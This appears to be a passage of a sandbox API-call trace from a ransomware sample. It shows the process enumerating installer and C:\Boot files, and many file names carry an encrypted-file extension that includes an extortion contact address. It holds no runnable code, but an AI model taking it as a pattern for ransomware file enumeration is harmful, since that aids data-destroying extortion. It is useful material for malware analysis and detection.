	[0179.090] FindNextFileW (in: hFindFile=0x6baa80, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc183da00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0xc183da00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0x9a1f6c0d, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x290310, dwReserved0=0x43, dwReserved1=0xffffb454, cFileName="netfx_Core_x64.msi.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="NETFX_~2.YG")) returned 1
	[0179.091] FindNextFileW (in: hFindFile=0x6baa80, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x993a836e, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x993a836e, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x998930fd, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x11c108, dwReserved0=0x43, dwReserved1=0xffffb454, cFileName="netfx_Core_x86.msi.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="NETFX_~4.YG")) returned 1
	[0179.091] FindNextFileW (in: hFindFile=0x6baa80, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf74cd515, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf74cd515, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xa0bd305f, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x29e23d7, dwReserved0=0x43, dwReserved1=0xffffb454, cFileName="netfx_Extended.mzz.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="NETFX_~3.YG")) returned 1
	[0179.091] FindNextFileW (in: hFindFile=0x6baa80, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x998df78f, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x998df78f, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x99b1ba34, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0xd5110, dwReserved0=0x43, dwReserved1=0xffffb454, cFileName="netfx_Extended_x64.msi.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="NEDB57~1.YG")) returned 1
	[0179.091] FindNextFileW (in: hFindFile=0x6baa80, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x99b8e116, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x99b8e116, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x99e169f7, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x79110, dwReserved0=0x43, dwReserved1=0xffffb454, cFileName="netfx_Extended_x86.msi.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="NEAD37~1.YG")) returned 1
	[0179.091] FindNextFileW (in: hFindFile=0x6baa80, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9a0ec4dc, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x9a0ec4dc, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x9a517d9f, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x427a6, dwReserved0=0x43, dwReserved1=0xffffb454, cFileName="ParameterInfo.xml.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="PARAME~1.YG")) returned 1
	[0179.091] FindNextFileW (in: hFindFile=0x6baa80, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x99efb65a, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x99efb65a, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x99fba20b, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x2d304, dwReserved0=0x43, dwReserved1=0xffffb454, cFileName="RGB9RAST_x64.msi.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="RGB9RA~1.YG")) returned 1
	[0179.092] FindNextFileW (in: hFindFile=0x6baa80, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x99fe0595, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x99fe0595, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x9a0c5303, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x17304, dwReserved0=0x43, dwReserved1=0xffffb454, cFileName="RGB9Rast_x86.msi.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="RGB9RA~2.YG")) returned 1
	[0179.092] FindNextFileW (in: hFindFile=0x6baa80, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9a0ec4dc, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x9a0ec4dc, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x9a137e40, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x13236, dwReserved0=0x43, dwReserved1=0xffffb454, cFileName="Setup.exe.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPE~1.YG")) returned 1
	[0179.092] FindNextFileW (in: hFindFile=0x6baa80, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9a137e40, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x9a137e40, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x9a184498, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0xc5252, dwReserved0=0x43, dwReserved1=0xffffb454, cFileName="SetupEngine.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPE~2.YG")) returned 1
	[0179.092] FindNextFileW (in: hFindFile=0x6baa80, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9a1f6c0d, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x9a1f6c0d, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x9a327e99, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x4824a, dwReserved0=0x43, dwReserved1=0xffffb454, cFileName="SetupUi.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPU~2.YG")) returned 1
	[0179.092] FindNextFileW (in: hFindFile=0x6baa80, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9a0c5303, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x9a0c5303, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x9a4f1b18, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x769a, dwReserved0=0x43, dwReserved1=0xffffb454, cFileName="SetupUi.xsd.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPU~1.YG")) returned 1
	[0179.092] FindNextFileW (in: hFindFile=0x6baa80, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9a28f5aa, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x9a28f5aa, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x9a3743f2, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x17854, dwReserved0=0x43, dwReserved1=0xffffb454, cFileName="SetupUtility.exe.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPU~3.YG")) returned 1
	[0179.092] FindNextFileW (in: hFindFile=0x6baa80, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9a1aa6cd, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x9a1aa6cd, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x9a1f6c0d, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0xa174, dwReserved0=0x43, dwReserved1=0xffffb454, cFileName="SplashScreen.bmp.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SPLASH~1.YG")) returned 1
	[0179.093] FindNextFileW (in: hFindFile=0x6baa80, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9a34eff3, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x9a34eff3, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x9a39a83d, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x23518, dwReserved0=0x43, dwReserved1=0xffffb454, cFileName="sqmapi.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SQMAPI~1.YG")) returned 1
	[0179.093] FindNextFileW (in: hFindFile=0x6baa80, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9a1f6c0d, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x9a1f6c0d, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x9a3743f2, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x37fa, dwReserved0=0x43, dwReserved1=0xffffb454, cFileName="Strings.xml.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="STRING~1.YG")) returned 1
	[0179.093] FindNextFileW (in: hFindFile=0x6baa80, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9a39a83d, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x9a39a83d, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x9a432eca, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x98e8, dwReserved0=0x43, dwReserved1=0xffffb454, cFileName="UiInfo.xml.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="UIINFO~1.YG")) returned 1
	[0179.093] FindNextFileW (in: hFindFile=0x6baa80, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9a40cdeb, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x9a40cdeb, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x9a4f1b18, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x1977e, dwReserved0=0x43, dwReserved1=0xffffb454, cFileName="watermark.bmp.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="WATERM~1.YG")) returned 1
	[0179.093] FindNextFileW (in: hFindFile=0x6baa80, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2120bc00, ftCreationTime.dwHighDateTime=0x1cac6c9, ftLastAccessTime.dwLowDateTime=0x2120bc00, ftLastAccessTime.dwHighDateTime=0x1cac6c9, ftLastWriteTime.dwLowDateTime=0x9b18c4f5, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x5b5241, dwReserved0=0x43, dwReserved1=0xffffb454, cFileName="Windows6.0-KB956250-v6001-x64.msu.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="WINDOW~1.YG")) returned 1
	[0179.093] FindNextFileW (in: hFindFile=0x6baa80, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x1bbe7400, ftCreationTime.dwHighDateTime=0x1cac6bf, ftLastAccessTime.dwLowDateTime=0x1bbe7400, ftLastAccessTime.dwHighDateTime=0x1cac6bf, ftLastWriteTime.dwLowDateTime=0x9b103a82, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x2d764e, dwReserved0=0x43, dwReserved1=0xffffb454, cFileName="Windows6.0-KB956250-v6001-x86.msu.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="WINDOW~2.YG")) returned 1
	[0179.094] FindNextFileW (in: hFindFile=0x6baa80, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5b8e5700, ftCreationTime.dwHighDateTime=0x1cac6d1, ftLastAccessTime.dwLowDateTime=0x5b8e5700, ftLastAccessTime.dwHighDateTime=0x1cac6d1, ftLastWriteTime.dwLowDateTime=0x9b79842b, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x59b2fc, dwReserved0=0x43, dwReserved1=0xffffb454, cFileName="Windows6.1-KB958488-v6001-x64.msu.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="WINDOW~3.YG")) returned 1
	[0179.094] FindNextFileW (in: hFindFile=0x6baa80, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0x9b79842b, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x2cae27, dwReserved0=0x43, dwReserved1=0xffffb454, cFileName="Windows6.1-KB958488-v6001-x86.msu.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="WINDOW~4.YG")) returned 1
	[0179.094] FindNextFileW (in: hFindFile=0x6baa80, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0x9b79842b, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x2cae27, dwReserved0=0x43, dwReserved1=0xffffb454, cFileName="Windows6.1-KB958488-v6001-x86.msu.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="WINDOW~4.YG")) returned 0
	[0179.094] FindClose (in: hFindFile=0x6baa80 | out: hFindFile=0x6baa80) returned 1
	[0179.094] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c40060 | out: hHeap=0x6a0000) returned 1
	[0179.095] FindNextFileW (in: hFindFile=0x6ba5c0, lpFindFileData=0x329fcf8 | out: lpFindFileData=0x329fcf8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6fa258, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6fa258, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x775f0000, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1
	[0179.095] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x3c40060
	[0179.096] FindFirstFileW (in: lpFileName="C:\\Boot\\*", lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9d311c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef9d311c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x43, dwReserved1=0xffffb454, cFileName=".", cAlternateFileName="")) returned 0x3cf0d68
	[0179.097] FindNextFileW (in: hFindFile=0x3cf0d68, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9d311c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef9d311c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x43, dwReserved1=0xffffb454, cFileName="..", cAlternateFileName="")) returned 1
	[0179.097] FindNextFileW (in: hFindFile=0x3cf0d68, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xac3efa99, ftLastAccessTime.dwHighDateTime=0x1d4d5d3, ftLastWriteTime.dwLowDateTime=0xac3efa99, ftLastWriteTime.dwHighDateTime=0x1d4d5d3, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x43, dwReserved1=0xffffb454, cFileName="BCD", cAlternateFileName="")) returned 1
	[0179.097] FindNextFileW (in: hFindFile=0x3cf0d68, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x43, dwReserved1=0xffffb454, cFileName="BCD.LOG", cAlternateFileName="")) returned 1
	[0179.098] FindNextFileW (in: hFindFile=0x3cf0d68, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x43, dwReserved1=0xffffb454, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1
	[0179.098] FindNextFileW (in: hFindFile=0x3cf0d68, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x43, dwReserved1=0xffffb454, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1
	[0179.098] FindNextFileW (in: hFindFile=0x3cf0d68, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x43, dwReserved1=0xffffb454, cFileName="bg-BG", cAlternateFileName="")) returned 1
	[0179.098] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x3c50068
	[0179.098] FindFirstFileW (in: lpFileName="C:\\Boot\\bg-BG\\*", lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3cf0968
	[0179.098] FindNextFileW (in: hFindFile=0x3cf0968, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0179.099] FindNextFileW (in: hFindFile=0x3cf0968, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210bba74, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0179.099] FindNextFileW (in: hFindFile=0x3cf0968, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210bba74, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0179.099] FindClose (in: hFindFile=0x3cf0968 | out: hFindFile=0x3cf0968) returned 1
	[0179.099] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c50068 | out: hHeap=0x6a0000) returned 1
	[0179.099] FindNextFileW (in: hFindFile=0x3cf0d68, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef4e6d79, ftCreationTime.dwHighDateTime=0x1d3273d, ftLastAccessTime.dwLowDateTime=0xef4e6d79, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x175a0, dwReserved0=0x43, dwReserved1=0xffffb454, cFileName="bootspaces.dll", cAlternateFileName="BOOTSP~1.DLL")) returned 1
	[0179.099] FindNextFileW (in: hFindFile=0x3cf0d68, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x9a459231, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x9a459231, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x9a459231, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x100fc, dwReserved0=0x43, dwReserved1=0xffffb454, cFileName="BOOTSTAT.DAT.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="BOOTST~1.YG")) returned 1
	[0179.099] FindNextFileW (in: hFindFile=0x3cf0d68, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef4fcd12, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x185a0, dwReserved0=0x43, dwReserved1=0xffffb454, cFileName="bootvhd.dll", cAlternateFileName="")) returned 1
	[0179.100] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x3c50068
	[0179.100] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c50068 | out: hHeap=0x6a0000) returned 1
	[0179.101] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c50068 | out: hHeap=0x6a0000) returned 1
	[0179.101] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c50068 | out: hHeap=0x6a0000) returned 1
	[0179.101] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c50068 | out: hHeap=0x6a0000) returned 1
	[0179.102] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c50068 | out: hHeap=0x6a0000) returned 1
	[0179.102] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c50068 | out: hHeap=0x6a0000) returned 1
	[0179.102] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c50068 | out: hHeap=0x6a0000) returned 1
	[0179.102] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c50068 | out: hHeap=0x6a0000) returned 1
	[0179.102] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c50068 | out: hHeap=0x6a0000) returned 1
	[0179.103] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c50068 | out: hHeap=0x6a0000) returned 1
	[0179.325] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c50068 | out: hHeap=0x6a0000) returned 1
	[0179.325] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c50068 | out: hHeap=0x6a0000) returned 1
	[0179.325] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c50068 | out: hHeap=0x6a0000) returned 1
	[0179.325] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c50068 | out: hHeap=0x6a0000) returned 1
	[0179.325] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c50068 | out: hHeap=0x6a0000) returned 1
	[0179.325] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c50068 | out: hHeap=0x6a0000) returned 1
	[0179.326] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c50068 | out: hHeap=0x6a0000) returned 1
	[0179.326] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c50068 | out: hHeap=0x6a0000) returned 1
	[0179.326] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c50068 | out: hHeap=0x6a0000) returned 1
	[0179.326] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c50068 | out: hHeap=0x6a0000) returned 1
	[0179.326] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c50068 | out: hHeap=0x6a0000) returned 1
